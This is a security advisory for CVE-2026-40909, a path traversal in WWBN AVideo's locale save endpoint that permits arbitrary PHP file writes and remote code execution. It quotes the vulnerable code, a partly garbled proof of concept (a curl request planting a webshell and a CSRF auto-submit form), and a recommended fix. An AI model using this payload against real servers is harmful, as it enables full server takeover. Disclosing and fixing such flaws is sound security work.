GitHub Advisoryadvisory · Packagist
GHSA-6rc6-p838-686f WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)
HIGH
Official page ↗
- Aliases
- CVE-2026-40909
- Ecosystem
- Packagist
- Packages
- wwbn/avideo
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2026-04-14
Affected packages
• Packagist wwbn/avideo: <= 29.0 (no fix yet)
Description
Summary
The locale save endpoint (`locale/save.php`) constructs a file path by directly concatenating `$_POST['flag']` into the path at line 30 without any sanitization. The `$_POST['code']` parameter is then written verbatim to that path via `fwrite()` at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use `SameSite=None`) can traverse out of the `locale/` directory and write arbitrary `.php` files to any writable location on the filesystem, achieving Remote Code Execution.
Details
In `locale/save.php`, the vulnerable code path is:
```php
// locale/save.php:10 — only auth check, no CSRF token
if (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) {
// ...
die(json_encode($obj));
}
// locale/save.php:16 — base directory
$dir = "{$global['systemRootPath']}locale/";
// locale/save.php:30 — UNSANITIZED path concatenation
$file = $dir.($_POST['flag']).".php";
$myfile = fopen($file, "w") or die("Unable to open file!");
// locale/save.php:40 — UNSANITIZED content write
fwrite($myfile, $_POST['code']);
```
Root cause: `$_POST['flag']` is concatenated directly into the file path with no call to `basename()`, `realpath()`, or any filtering of `../` sequences. A `flag` value like `../../shell` resolves to `{systemRootPath}locale/../../shell.php`, which escapes the locale directory and writes to `{systemRootPath}../shell.php` — the web-accessible parent directory.
The file content is constructed as:
```php
' \
-X POST 'https://target/locale/save.php' \
-d 'flag=../../webshell&code=$t["x"]=1;?>
document.forms[0].submit();
```
After the admin visits the page, the attacker accesses `https://target/webshell.php?c=id` for RCE.
Impact
• Remote Code Execution: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.
• CSRF to RCE chain: Because no CSRF token is required and `SameSite=None` is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only.
• Full server compromise: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.
Recommended Fix
Sanitize the `flag` parameter to prevent path traversal and add CSRF protection:
```php
// locale/save.php — after the admin check at line 14
// Add CSRF token validation
if (empty($_POST['token']) || !User::isValidToken($_POST['token'])) {
$obj->status = 0;
$obj->error = __("Invalid token");
die(json_encode($obj));
}
// Sanitize flag to prevent path traversal
$flag = basename($_POST['flag']); // strip directory components
if (empty($flag) || preg_match('/[^a-zA-Z0-9_\-]/', $flag)) {
$obj->status = 0;
$obj->error = __("Invalid locale flag");
die(json_encode($obj));
}
$file = $dir . $flag . ".php";
// Verify resolved path is within expected directory
$realDir = realpath($dir);
$realFile = realpath(dirname($file)) . '/' . basename($file);
if (strpos($realFile, $realDir) !== 0) {
$obj->status = 0;
$obj->error = __("Invalid file path");
die(json_encode($obj));
}
```
Additionally, the `code` parameter should be validated to ensure it only contains translation assignments (`$t[...] = ...;`) and does not include PHP opening/closing tags or arbitrary code.
Related
Alias · CVE (1)
- CVE-2026-40909 WWBN AVideo is an open source video platform. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness